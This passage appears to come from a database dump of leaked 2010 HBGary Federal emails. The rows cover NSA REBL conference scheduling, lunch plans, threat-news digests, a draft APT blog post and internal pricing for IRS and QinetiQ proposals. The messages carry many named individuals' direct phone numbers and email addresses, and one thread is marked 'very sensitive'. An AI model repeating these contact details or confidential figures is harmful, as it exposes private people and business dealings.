fax\r\n\r\nww.hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10034,'aaron_hbgary_com/10034.html'),(6302,'2010-05-13','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004509.M587836P14101Q1157.eml','\"Aaron Barr\" <aaron@hbgary.com>','REBL 10','Aaron,\r\n\r\nAttached are the planning documents for REBL that I mentioned this\r\nafternoon.  Right now, I can fit your talk into the agenda on Thursday 17\r\nJune.  Let me know if you prefer morning or afternoon.\r\n\r\nThanks,\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n',3687,'aaron_hbgary_com/3687.html'),(6303,'2010-05-13','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297004509.M864428P14101Q1158.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: Aaron, Something like this perhaps...? (UNCLASSIFIED)','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nI don\'t see why not.  Just need time to build it.\r\n\r\nOn 05/13/2010 06:27 AM, Aaron Barr wrote:\r\n> Can we do things similar.\r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> Begin forwarded message:\r\n> \r\n>> *From:* \"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\"\r\n>> >\r\n>> *Date:* May 13, 2010 8:24:32 AM EDT\r\n>> *To:* \"Aaron Barr\" >\r\n>> *Cc:* \"Lachow, Irving Mr OSD ATL\" > >\r\n>> *Subject:* *Aaron, Something like this perhaps...? (UNCLASSIFIED)*\r\n>>\r\n>> Classification: UNCLASSIFIED\r\n>> Caveats: FOUO\r\n>>\r\n>> http://www.informationweek.com/news/mobility/security/showArticle.jhtml?articleID=224700437&queryText=mobile%20and%20spy%20and%20tracks%20and%20android\r\n>> \r\n>>\r\n>>  \r\n>>\r\n>>  \r\n>>\r\n>> Lieutenant Colonel Lincoln Leibner\r\n>>\r\n>> United States Army\r\n>>\r\n>> Operations and Technology Office\r\n>>\r\n>> 703-697-7131\r\n>>\r\n>> Classification: UNCLASSIFIED\r\n>> Caveats: FOUO\r\n>>\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAkvsPlIACgkQWw/TEDXzQNO+eQCaA/pF5I9mnPEM/nROa/WFBy6J\r\nOoYAn2vxSsECxt81yhJ8eJSrumWeId+r\r\n=Lynl\r\n-----END PGP SIGNATURE-----\r\n',11746,'aaron_hbgary_com/11746.html'),(6304,'2010-05-13','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004510.M134763P14101Q1159.eml','\"Aaron Barr\" <aaron@hbgary.com>','REBL 10','Aaron,\r\n\r\nI currently have you scheduled for Thursday morning, June 17, at 10:15.  Let\r\nme know if you need to switch to the afternoon session by Friday.\r\n\r\nThanks,\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n',6460,'aaron_hbgary_com/6460.html'),(6305,'2010-05-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004510.M395914P14101Q1160.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: We need to change lunch date...','Begin forwarded message:From: &quot;Williams, Joy T (IS)&quot; &lt;JOY.WILLIAMS@ngc.com&gt;\r\nDate: May 13, 2010 12:15:19 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: We need to change lunch date...\r\nWhere on thurs for lunch? and do you have any HBGary swag me and tawnycan have, like coffee mug or water bottle.... I want to see what peopledo if they see me using HBGary stuff...LOL\r\nJoy T Williams Northrop Grumman Information SystemsNetCentric Information OperationsDepartment Administrator1795 Jet Wing Drive, Suite 200\r\nColorado Springs, CO 80916719-622-5500Fax:719-622-5101Efax: 978-684-3865Email: joy.williams@ngc.com\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Tuesday, May 11, 2010 3:53 PMTo: Williams, Joy T (IS)\r\nSubject: Re: We need to change lunch date...Thurs is good, yep, we met.On May 11, 2010, at 1:16 PM, &quot;Williams, Joy T (IS)&quot;\r\n&lt;JOY.WILLIAMS@ngc.comwrote:\r\nNext week should work....so Thursday next week??? Did you have yourmeeting with Roger?\r\nJoy T WilliamsNorthrop Grumman Information SystemsNetCentric Information Operations\r\nDepartment Administrator1795 Jet Wing Drive, Suite 200Colorado Springs, CO 80916\r\n719-622-5500Fax:719-622-5101Efax: 978-684-3865\r\nEmail: joy.williams@ngc.com\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]Sent: Tuesday, May 11, 2010 2:15 PM\r\nTo: Williams, Joy T (IS)Subject: Re: We need to change lunch date...\r\nI&#39;m in Sacramento until Thursday.  How bout next week.Ted\r\nOn Tue, May 11, 2010 at 2:01 PM, Williams, Joy T (IS)\r\n&lt;JOY.WILLIAMS@ngc.com&gt; wrote:I am moving on Friday...we are closing on Thursday. What&#39;s a better\r\nday thisweek? Or next week?\r\n\r\nJoy T Williams\r\nNorthrop Grumman Information Systems\r\nNetCentric Information Operations\r\nDepartment Administrator1795 Jet Wing Drive, Suite 200\r\nColorado Springs, CO 80916\r\n719-622-5500\r\nFax:719-622-5101\r\nEfax: 978-684-3865\r\nEmail: joy.williams@ngc.com\r\n\r\n\r\n--Ted H. VeraPresident | COO\r\nHBGary Federal719-237-8623\r\n',16379,'aaron_hbgary_com/16379.html'),(6306,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004510.M594312P14101Q1161.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','Re: REBL 10','Greg will do the talk.  If he can get a morning slot great if not put\r\nhim in for the afternoon slot.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 13, 2010, at 2:40 PM, \"Scott K. Brown\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> I currently have you scheduled for Thursday morning, June 17, at 10:15.  Let\r\n> me know if you need to switch to the afternoon session by Friday.\r\n>\r\n> Thanks,\r\n>\r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n>\r\n>\r\n',2227,'aaron_hbgary_com/2227.html'),(6307,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004510.M810777P14101Q1162.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','REBL','Greg,\r\n\r\nPer our conversation, you will give a talk at NSAs REBL conference.  Scott will be sending you some information on the conference.  Currently you are scheduled to talk on June 17th at 3:30pm.  If a morning keynote slot opens up because one of the government speakers has cancelled then Scott has agreed to move your talk.  I will be giving a talk earlier that same day.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16625,'aaron_hbgary_com/16625.html'),(6308,'2010-05-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004511.M285624P14101Q1164.eml','\"Pillion Martin\" <martin@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Pillion Martin\" <martin@hbgary.com>','Fwd: Dell laptop arrived today.','CoolBegin forwarded message:From: Mark Trynor &lt;mark@hbgary.com&gt;\r\nDate: May 13, 2010 3:30:10 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Dell laptop arrived today.\r\n-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1firewire card &amp; cable came in today.  Just ran a test against it.  Itdetected the pcmcia firewire card and loaded the drivers with no\r\ninteraction.  Ran the script and it worked!On 05/13/2010 01:37 PM, Ted Vera wrote:Ted-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.10 (GNU/Linux)Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\niEYEARECAAYFAkvsb2IACgkQWw/TEDXzQNOISwCfcJGLsTJr/AEaccf0BuYJW+JfHL4AnRs1nOVNlE2khCGcZpneo0f13SMy=c+ui-----END PGP SIGNATURE-----\r\n',5258,'aaron_hbgary_com/5258.html'),(6309,'2010-05-13','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297004511.M39362P14101Q1163.eml','','cybernexus Technical Tuesday - 25 May 2010; 1600 - 1730 - ITT malware spam reverse engineering','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nA malicious link was e-mailed to several employees in the\r\nITT Corporation in a &quot;spear fishing attack&quot; that attempted to exploit\r\nand gain persistent access to a victim\'s computer. The initial exploit\r\nattempted to take advantage of an unpatched vulnerability and utilized malware\r\nthat was previously unseen in the wild. Since this malware package was\r\npreviously unknown, binary analysis and reverse-engineering was used to\r\nidentify its properties and the consequences to an infected system. This talk\r\nwill discuss the attack starting with the malicious link to how an attacker\r\ncould fully control a compromised machine. The talk will also focus on the\r\nbinary analysis and reverse engineering techniques and tools used for\r\nidentifying the functions and properties of this malware package. We will also\r\nhighlight incident response measures and the benefits of performing similar\r\nanalyses internally. \r\n\r\nPresented by Paul Frank: Paul Frank is a Cyber Engineer at the ITT\r\nCorporation\'s Advanced Information Systems division where he performs research\r\nand development in various information security topics including penetration\r\ntesting, vulnerability assessment, attack techniques, social engineering, and\r\nmalware analysis. Paul has a strong interest in binary reverse engineering,\r\nexploit development and operating system security. Paul is an almunus of Johns Hopkins\r\n University\'s Information\r\nSecurity Institute where he received a MS in Security Informatics and was the\r\ncaptain of the university hockey team. \r\n\r\nSAIC will host this Technical Tuesday at its facility at 6841 Benjamin Franklin Drive, Columbia,\r\n MD 21046.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice President, Senior Account\r\nExecutive | Intelligence, Security and Technology Group\r\n\r\nmobile: 410.382.0179 | email:\r\nscott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience Applications International\r\nCorporation\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nColumbia,\r\n MD 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp; |&nbsp;\r\nEnvironment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp; |&nbsp;\r\nCritical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and\r\nany attachments to it are intended only for the identified recipients. It may\r\ncontain proprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments immediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',639,'aaron_hbgary_com/639.html'),(6310,'2010-05-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004515.M251152P14101Q1165.eml','rich@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Thu)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Thursday, May 13, 2010 7:22 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Thu)\r\n\r\n \r\n\r\n\r\nToday\'s articles:\r\n\r\n1.      Server-based zombies power souped-up DDoS assault\r\n\r\n2.      Only two patches released by Microsoft for May, as main talking\r\npoint surrounds SharePoint vulnerability\r\n\r\n3.      Filename-changing worm wiggling on P2P networks\r\n\r\n4.      FBI promises action against money mules\r\n\r\n5.      Botnet test that aimed DDoS at ISP leads to guilty plea\r\n\r\n6.      Facebook, the new phishing target \r\n\r\n7.      Two-Thirds Of All Phishing Attacks From A Single Criminal Group\r\n\r\n8.      Goldman Sachs Sued For Illegal Database Access \r\n\r\n9.      Employees Put Personal Security, Interests Above Company\'s,\r\nSurvey Says\r\n\r\n',270,'aaron_hbgary_com/270.html'),(6311,'2010-05-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004517.M26443P14101Q1166.eml','rich@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: NMCIWG: Weekly Espionage Newsletter','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Thursday, May 13, 2010 6:57 PM\r\nSubject: NMCIWG: Weekly Espionage Newsletter\r\n\r\n \r\n\r\n\r\nThis week\'s articles:\r\n\r\n1.      Five Arrested in Military Weapons Scheme\r\n\r\n2.      Cyberattacks on U.S. military jump sharply in 2009\r\n\r\n3.      Hilton Worldwide execs accused of corporate espionage\r\n\r\n4.      Cat-and-mouse game traps arms broker\r\n\r\n5.      Hackers steal SKorean-US military secrets\r\n\r\n6.      Sony Dream Machine Spy Camera\r\n\r\n',1851,'aaron_hbgary_com/1851.html'),(6312,'2010-05-14','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297004517.M283858P14101Q1167.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: REBL 10','Aaron,\r\n\r\nDoes he want the Thursday or Tuesday timeslot?\r\n\r\nOn the way out yesterday, you mentioned a group doing some interesting work.\r\nDo you have contact info for them?\r\n\r\nThanks,\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, May 13, 2010 3:37 PM\r\nTo: Scott K. Brown\r\nSubject: Re: REBL 10\r\n\r\nGreg will do the talk.  If he can get a morning slot great if not put him in\r\nfor the afternoon slot.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn May 13, 2010, at 2:40 PM, \"Scott K. Brown\" \r\nwrote:\r\n\r\n> Aaron,\r\n>\r\n> I currently have you scheduled for Thursday morning, June 17, at \r\n> 10:15.  Let me know if you need to switch to the afternoon session by\r\nFriday.\r\n>\r\n> Thanks,\r\n>\r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n>\r\n>\r\n',9649,'aaron_hbgary_com/9649.html'),(6313,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004517.M500207P14101Q1168.eml','\"Ted Vera\" <ted@hbgary.com>','Re: We need to change lunch date...','Let&#39;s get them some!From my iPhoneOn May 13, 2010, at 3:36 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBegin forwarded message:From: &quot;Williams, Joy T (IS)&quot; &lt;JOY.WILLIAMS@ngc.com&gt;\r\n\r\nDate: May 13, 2010 12:15:19 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: We need to change lunch date...\r\n\r\nWhere on thurs for lunch? and do you have any HBGary swag me and tawnycan have, like coffee mug or water bottle.... I want to see what peopledo if they see me using HBGary stuff...LOL\r\n\r\nJoy T Williams Northrop Grumman Information SystemsNetCentric Information OperationsDepartment Administrator1795 Jet Wing Drive, Suite 200\r\n\r\nColorado Springs, CO 80916719-622-5500Fax:719-622-5101Efax: 978-684-3865Email: joy.williams@ngc.com\r\n\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Tuesday, May 11, 2010 3:53 PM\r\nTo: Williams, Joy T (IS)\r\nSubject: Re: We need to change lunch date...Thurs is good, yep, we met.On May 11, 2010, at 1:16 PM, &quot;Williams, Joy T (IS)&quot;\r\n\r\n&lt;JOY.WILLIAMS@ngc.comwrote:\r\n\r\nNext week should work....so Thursday next week??? Did you have yourmeeting with Roger?\r\n\r\nJoy T WilliamsNorthrop Grumman Information SystemsNetCentric Information Operations\r\n\r\nDepartment Administrator1795 Jet Wing Drive, Suite 200Colorado Springs, CO 80916\r\n\r\n719-622-5500Fax:719-622-5101Efax: 978-684-3865\r\n\r\nEmail: joy.williams@ngc.com\r\n\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, May 11, 2010 2:15 PM\r\nTo: Williams, Joy T (IS)Subject: Re: We need to change lunch date...\r\n\r\nI&#39;m in Sacramento until Thursday.  How bout next week.Ted\r\n\r\nOn Tue, May 11, 2010 at 2:01 PM, Williams, Joy T (IS)\r\n\r\n&lt;JOY.WILLIAMS@ngc.com&gt; wrote:\r\nI am moving on Friday...we are closing on Thursday. What&#39;s a better\r\nday thisweek? Or next week?\r\n\r\n\r\n\r\nJoy T Williams\r\n\r\nNorthrop Grumman Information Systems\r\n\r\nNetCentric Information Operations\r\n\r\nDepartment Administrator1795 Jet Wing Drive, Suite 200\r\n\r\nColorado Springs, CO 80916\r\n\r\n719-622-5500\r\n\r\nFax:719-622-5101\r\n\r\nEfax: 978-684-3865\r\n\r\nEmail: joy.williams@ngc.com\r\n\r\n\r\n\r\n\r\n\r\n--Ted H. VeraPresident | COO\r\n\r\nHBGary Federal719-237-8623\r\n\r\n',6029,'aaron_hbgary_com/6029.html'),(6314,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004517.M700707P14101Q1169.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','Re: REBL 10','Scott,\r\n\r\nThursday please.  I will follow up with an email introducing the two of you.\r\n\r\nAaron\r\n\r\nOn May 14, 2010, at 6:22 AM, Scott K. Brown wrote:\r\n\r\n> Aaron,\r\n> \r\n> Does he want the Thursday or Tuesday timeslot?\r\n> \r\n> On the way out yesterday, you mentioned a group doing some interesting work.\r\n> Do you have contact info for them?\r\n> \r\n> Thanks,\r\n> \r\n> Scott\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, May 13, 2010 3:37 PM\r\n> To: Scott K. Brown\r\n> Subject: Re: REBL 10\r\n> \r\n> Greg will do the talk.  If he can get a morning slot great if not put him in\r\n> for the afternoon slot.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On May 13, 2010, at 2:40 PM, \"Scott K. Brown\" \r\n> wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> I currently have you scheduled for Thursday morning, June 17, at \r\n>> 10:15.  Let me know if you need to switch to the afternoon session by\r\n> Friday.\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Scott K. Brown\r\n>> Technical Director\r\n>> NSA Blue Team\r\n>> (410) 854-6529\r\n>> sbrown@dewnet.ncsc.mil\r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9664,'aaron_hbgary_com/9664.html'),(6315,'2010-05-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004517.M903804P14101Q1170.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','Introduction','Scott,\r\nLet me introduce Nart Villeneuve.  Nart is the CTO for SecDev.  Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet).  Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\n\r\nNart,\r\nScott managed the Blue Team at NSA and is putting together this years conference.  He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc.  I mentioned to him I thought your talk would be appropriate and engaging.\r\n\r\nAaron',8457,'aaron_hbgary_com/8457.html'),(6316,'2010-05-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004518.M103878P14101Q1171.eml','\"Aaron Barr\" <aaron@hbgary.com>','APT blog post','Aaron,\r\nwhat do you think?\r\n-- snip --&gt;\r\nFinally a dose of clarity for the &quot;APT&quot;.  It is an overused word, one used to sell security products, even if these are the &#39;same&#39; security products you have been using for the past 10 years.  Josh Corman of 451 Group really laid out the term, where it came from, what it means, and more importantly WHAT IT DOES NOT mean.   I posted a similar blog a while ago and got comments like “it’s the person, not the malware”.  I know that.  I’ve been saying that for years, but how the term APT is used, people make it sound like it&#39;s ONLY malware.  In fact, it’s not only malware - it’s  the intent.  Josh gets this, more importantly he felt the need to speak up about this.  I agree, it’s about the ADVERSARY.  Malware is just a tool, one of MANY that they use.  Focusing on one aspect of security is not going to make you secure, it’s understanding what they are trying to get.  I would argue a &#39;slightly&#39; different take in that I don’t necessarily believe it’s only scarce resources these adversaries are after.  It’s actually anything that gets them &#39;closer&#39; to the info they are seeking. This could be money, IP, marketing plans, hiring plans, personally identifying information.  Because while APT were at one time ONLY focused on military, they’ve expanded.  \r\n\r\nI also applaud Josh’s note that APT uses existing tools.  Others seems to think this is not the case, or that they don’t use packed malware, or that APT don&#39;t use botnets.  Why wouldn’t they?  It seems the more that someone tells me what APT isn&#39;t, the more it becomes clear they have no idea what APT really is.  If APT use existing malware, which I’ve always maintained, then packing is par for the course, because it&#39;s a cheap way to defeat signature based detection definitions at the gateway and host alike.  Perhaps the APT did some recon into the network and learned that using XYZ packer would defeat the AV solution at the desktop.   \r\n\r\nSince the government coined the term &quot;APT&quot; it has always been about Russian and Chinese attackers, BOTH criminal and state sponsored.  For the government, it&#39;s very difficult to draw a line between the two.  If you understand information operations, then you know that APT will use any and all means at their disposal to achieve the mission objective.  If this means use of packers, so be it.  The same applies to any rule or definition someone puts in my face telling me what APT is and is not.  An IO campaign will include a full spectrum of capabilities.  In the context of cyber, each attack on a government facility, contractor, or commercial entity could be a single operation that is part of a larger campaign.   Operations could be designed to assume false persona&#39;s, for example impersonating college students in a dorm room, or even a false-flag - impersonating the intelligence service of another foreign country.  If you truly know what APT is about, you know that you can&#39;t start boxing it up and packaging it.   \r\n',7407,'aaron_hbgary_com/7407.html'),(6317,'2010-05-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004519.M266047P14101Q1172.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: IRS PILOT','Begin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: May 14, 2010 9:28:40 AM MDTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: FW: IRS PILOT\r\n\r\n\r\n\r\n\r\nHere you go\r\n\r\n \r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, May 13, 2010 8:33 AM\r\nTo: Penny C. Hoglund\r\nCc: Rich Cummings; Joe Pizzo\r\nSubject: IRS PILOT\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHere is the IRS  PILOT doc for APPROVAL\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRich, Joe -- on site for 40\r\nhours over 2 weeks for $25,000.  Is this reasonable or too\r\nexpensive.  What do you think the correct number is?  Includes\r\ntravel, server. all expenses.\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16701,'aaron_hbgary_com/16701.html'),(6318,'2010-05-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004523.M144608P14101Q1173.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: QNA Final (v3) attached, with updated proposal','Very sensitive - do not distribute. Begin forwarded message:From: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;\r\nTo: &#39;Ted Vera&#39; &lt;ted@hbgary.com&gt;Subject: FW: QNA Final (v3) attached, with updated proposal\r\nThis is the final report formatFrom: Greg Hoglund [mailto:greg@hbgary.com] Sent: Friday, May 14, 2010 8:16 AM\r\nTo: Bob SlapnikCc: Phil Wallisch; Penny Leavy-Hoglund; rich@hbgary.comSubject: QNA Final (v3) attached, with updated proposal\r\nAttached,-GOn Fri, May 14, 2010 at 8:09 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nGreg,We bumped up the number of monthly hours for Managed Services.  Pleasereplace the proposal doc with this one.\r\nBob From: Greg Hoglund [mailto:greg@hbgary.com] \r\nSent: Friday, May 14, 2010 10:33 AMTo: Bob SlapnikCc: Phil Wallisch; Penny Leavy-Hoglund; rich@hbgary.com\r\nSubject: QNA Final (v2) attached, with proposalThe proposal is included in the PDF as an attachment.  This is the final\r\nready for delivery assuming you are OK with your numbers.-Greg\r\nOn Fri, May 14, 2010 at 7:28 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:I want Penny and Greg to bless the numbers before sending.\r\nFrom: Phil Wallisch [mailto:phil@hbgary.com] Sent: Friday, May 14, 2010 9:07 AM\r\nTo: Greg HoglundCc: Bob Slapnik; Penny Leavy-Hoglund; rich@hbgary.comSubject: Re: QNA proposal\r\nI think we should submit it this morning as a draft final.  When we gettheir comments we can submit the true final.  Bob you agree?Sent from my iPhone\r\nOn May 14, 2010, at 2:00, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:Give me a final word doc in the morning, if I have it I will attach and mail\r\nout a final PDF in the morning PST.  If you don&#39;t want to wait, you can usethe existing report I mailed out and just send the proposal as a second doc.I got a few changes from penny on the report but they are not major and\r\nwouldn&#39;t be that big if we didn&#39;t get them in.  I will check for a finalproposal doc in the morning.-Greg\r\nOn Thu, May 13, 2010 at 6:43 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:Penny,My objective was to have a baseline amount of money they pay us per month.\r\nGreg and I figured 3 malware per month with an average of 6 hours permalware.  That would be 3 x 6 = 18 for malware analysis, leaving 36 - 18 =18 hours to set up scans, reviewing scans, and writing reports.  If they\r\nhave an outbreak of more malware, that is when we would charge them extrawith the open purchase order that we bill as needed.Greg, is 18 hours per month enough time to run normal operations, review\r\nresults, and write normal reports?  If Greg says we need more than 18 hourson average, we can increase the number.I inserted a sentence in the fee section:  .  &quot;If QinetiQ has an increase in\r\nthe number of endpoints, for example if you purchase companies therebyadding computers, then HBGary will reserve the right to increase the monthlyfee to cover software usage.&quot;\r\nThe contract is specifically with QinetiQ North America so it doesn&#39;tinclude Europe.\r\nBob From: Penny Leavy-Hoglund [mailto:penny@hbgary.com] Sent: Thursday, May 13, 2010 8:11 PM \r\nTo: &#39;Bob Slapnik&#39;; &#39;Greg Hoglund&#39;; &#39;Phil Wallisch&#39;; rich@hbgary.comSubject: RE: QNA proposal\r\nWhat happens if they grow?  Is it only for Qinetiq US?  What about Europe?Are we limiting server to 2400 nodes? 3-4 would be 2 hours at least per\r\nmalware with report.  6-8 hours at $300 would be $2400 at the high end.$2400 plus $4000  would be $6400 plus 8-10 hours per week would be $3K perweek for 10, which would be $12K at 4 weeks plue $6400 would be $18400,\r\n$4400 MORE than you bidFrom: Bob Slapnik [mailto:bob@hbgary.com] Sent: Thursday, May 13, 2010 2:07 PM\r\nTo: &#39;Penny Leavy-Hoglund&#39;; &#39;Greg Hoglund&#39;; &#39;Phil Wallisch&#39;; rich@hbgary.comSubject: RE: QNA proposal\r\nPenny,Instead of saying &quot;rental&quot; I will state that upon termination we will remove\r\nthe AD software.I figured the AD rental at $4k per month.  Over 3 years that will be $144k.They have 2400 hosts, but we may not be able to deploy to all of them given\r\nthe trouble we&#39;ve had so far.  I should add a line that says the monthlyamount could be renegotiated if they find they consistently need more hoursper month or if they add lots of new nodes, say through an acquisition.\r\nMS has 60k nodes while QNA has 2k nodes.  If MS has 17 malware per month wecould assume QNA would have 17/30 = 0.57 per month.  Greg and I figured they\r\nwould have 3-4 per month which proportionally is lots more that MS.Bob \r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] Sent: Thursday, May 13, 2010 4:38 PMTo: &#39;Bob Slapnik&#39;; &#39;Greg Hoglund&#39;; &#39;Phil Wallisch&#39;; rich@hbgary.com\r\nSubject: RE: QNA proposalWhat are we charging for Malware analysis.  MS thought there would be 17pieces a month for us to review, we could scale that back.  But 8 hours a\r\nweek are monitoring and what is rental of software?  You should make clearit&#39;s rental, not owned by them.  I think $14k per month is low\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] Sent: Thursday, May 13, 2010 1:31 PMTo: &#39;Greg Hoglund&#39;; &#39;Penny Leavy-Hoglund&#39;; &#39;Phil Wallisch&#39;; rich@hbgary.com\r\nSubject: QNA proposalTeam,Proposal is attached.  Please review for accuracy.  There is one small item\r\non page 2 marked in yellow that needs attention.I am printing it now and proof reading it.\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.Office 301-652-8885 x104  | Mobile 240-481-1419www.hbgary.com &lt;http://www.hbgary.com/&gt;   |  bob@hbgary.com\r\nNo virus found in this incoming message.Checked by AVG - www.avg.com &lt;http://www.avg.com/&gt; \r\nVersion: 